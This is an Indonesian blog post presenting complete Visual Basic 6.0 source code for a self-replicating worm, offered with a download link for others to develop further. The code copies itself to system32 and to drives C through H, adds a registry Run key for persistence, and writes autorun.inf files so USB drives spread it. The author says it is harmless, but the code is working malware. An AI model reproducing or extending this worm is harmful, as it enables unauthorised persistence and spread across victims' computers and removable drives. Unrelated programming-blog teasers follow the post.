Skip to main content

Membuat Worm Sederhana dari Visual Basic 6.0



alhamdulillah, satu lagi project yang slesai malam ini. :) berikut adalah project kedua ku, yaitu Worm sederhana.

apa itu worm? google ya? :D hehe

worm ini di buat dari bahasa Basic dengan IDE visual basic 6.0 , worm ini tidak memiliki tujuan jahat. dan hanya bertujuan untuk membuatnya hidup terus dengan menggandakan dirinya ke USB dan PC.

berikut scriptnya :

'Nama       : Bill Tanthowi Jauhari
'tanggal    : 9, januari 2014
'project    : worm
'referensi  : www.google.com , ebook

Dim Nama, direktory As String
'mendapatkan direktory worm
Function tempat()
On Error Resume Next
Dim direktory As String
Nama = App.EXEName & ".exe"
direktory = App.Path
If Right(direktory, 1) <> "\" Then
direktory = direktory & "\"
End If
tempat = direktory & Nama
End Function
'menanam word di registry windows
Function tanam()
On Error Resume Next
Nama = App.EXEName & ".exe"
Shell ("REG ADD HKCU\software\microsoft\windows\currentversion\run /t REG_SZ /v " & Nama & " /d C:\Windows\system32\" & Nama & " /f")
End Function
'mengcopy worm ke semua drive
Function kopi()
On Error Resume Next
Dim filename, direk As String
Dim ulang(6) As String
ulang(1) = "C"
ulang(2) = "D"
ulang(3) = "E"
ulang(4) = "F"
ulang(5) = "G"
ulang(6) = "H"
Nama = App.EXEName & ".exe"
direktory = "C:\windows\system32\"
filename = direktory & Nama
FileCopy tempat, filename
For i = 1 To 6
direk = ulang(i) & ":\"
If Len(Dir(direk)) <> 0 Then
FileCopy tempat, ulang(i) & ":\" & Nama
End If
Next i

End Function
'pengecekan apakah worm masih ada di PC
Function pengecekan()
On Error Resume Next
Dim ulang(6), hasil As String
ulang(1) = "C"
ulang(2) = "D"
ulang(3) = "E"
ulang(4) = "F"
ulang(5) = "G"
ulang(6) = "H"
Nama = App.EXEName & ".exe"
direktory = "C:\windows\system32\"
hasil = direktory & Nama
If Len(Dir(hasil)) = 0 Then
kopi
tanam
End If
For i = 1 To 6
If Len(Dir(ulang(i) & ":\" & Nama)) = 0 Then
kopi
End If
Next i
End Function
'membuat file autorun.inf ke semua drive
Function jalan()
On Error Resume Next
Dim namatext As String
Dim ulang(6) As String
ulang(1) = "C"
ulang(2) = "D"
ulang(3) = "E"
ulang(4) = "F"
ulang(5) = "G"
ulang(6) = "H"
Nama = App.EXEName & ".exe"
For i = 1 To 6
namatext = ulang(i) & ":\autorun.inf"
If Len(Dir(namatext)) = 0 Then
Open namatext For Output As #1
Print #1, "[autorun]"
Print #1, "Open=" & Nama
Close #1
End If
Next i
End Function
'fungsi eksekusi
Private Sub Form_Load()
On Error GoTo rusak
kopi
tanam
jalan
pengecekan
Exit Sub
rusak:
Unload Me
End Sub
'timer untuk menjalankan worm
Private Sub Timer1_Timer()
On Error Resume Next
pengecekan
End Sub

apabila ingin mengembangkan lagi, silahkan download filenya di : WORM

WARNING : di mohon untuk teman-teman agar tidak mengcopy ulang link di atas. penulis mencoba untuk mempertahankan agar link tetap hidup dan dapat terus di gunakan oleh pengunjung yang tertarik untuk mendownloadnya. 

Popular posts from this blog

Automatic API Documentation Swagger in Golang #GolangDev

pixabay.com In this article, I'll explain how to generate an API blueprint instantly using SwagGo in Golang. API blueprint is a document that contains a bunch of API endpoints, its slickly same as documentation but less description, it's allow another programmer to read and see all the available endpoint and try it out with sandbox feature. Swagger is one of the most used API blueprints right now, it's available in free but limited usage. if you wanna use the free credit, you need to understand YAML notation, you can read the example notation in swagger official documentation. but again, it's really hard and takes an expensive time to arranges all the notation to achieve a good API blueprint. fortunately, there are tools in Golang that allow us to generate the YAML notation and automatically generate the blueprint page with only using markup notation, and it's FREE unlimited for self-host, insane right? SwagGo tools are available here , the documentation is very cl...

Mengapa .env File Laravel Tidak Terupload / Tercommit ke Git

.env file atau bisa kita bilang "environment file" atau file yang berisi variable constan untuk memberikan value secara global ke dalam aplikasi kita. file ini berisi variable dan value yang sensitif yang membuatnya sangat riskan atau beresiko apabila di ketahui oleh orang yang tidak bertanggung jawab. contoh  seperti berikut ini file .env di atas memiliki informasi sensitif seperti host, user dan password dari database kita. maka dari itu kita sebagai developer harus pintar-pintar untuk memperlakukan .env file ini, secara default apabila kita upload ke hosting atau vps file .env ini tidak akan bisa di akses secara global dari host kita, karna letak root host kita ada di folder public yang notabene berada di satu level ke atas folder dari posisi .env. jadi user awam tidak akan bisa mengakses dari host kita eg : http://angon.dev/.env . nah kalo ke git gmn? apabila kita menggunakan version controller seperti github, gitlab, bitbucket. secara default git akan mem...

OpenVPN Alternatif Solusi Menanggulangi Blokir dari KOMINFO

Sejak akhir juli 2022 kemaren indonesia di gegerkan dengan tindakan kominfo atas diblokirnya banyak platform digital karna tidak mendaftar PSE, terutama paypal dan plaform game (steam, epic game dll). keputusan ini semakin membuat netizen geram dikarenakan platform judi online malah disetujui untuk beroperasi karna sudah daftar PSE. Jujur menurut saya memang keputusan ini sejak awal saya dengar sudah mengada-ada karna sangat aneh memblokir semua platform digital yang jumlahnya tidak terhitung banyaknya dan hanya membolehkan akses platform yang sudah mendaftar yang jumlahnya hanya ratusan.  saya sebagai developer juga merasa aneh banget ini kebijakan apalagi platform development juga banyak yang di blacklist oleh kominfo seperti, github, gitlab, bitbucket, even website CDN pun di blacklist. astaga wkwkwk. anyway terlepas dari kebijakan konyol ini, saya mau berbagi tips cara agar tetep bisa mengakses semua platform tersebut tanpa ada halangan, yaitu dengan menggunakan VPN. banyak ban...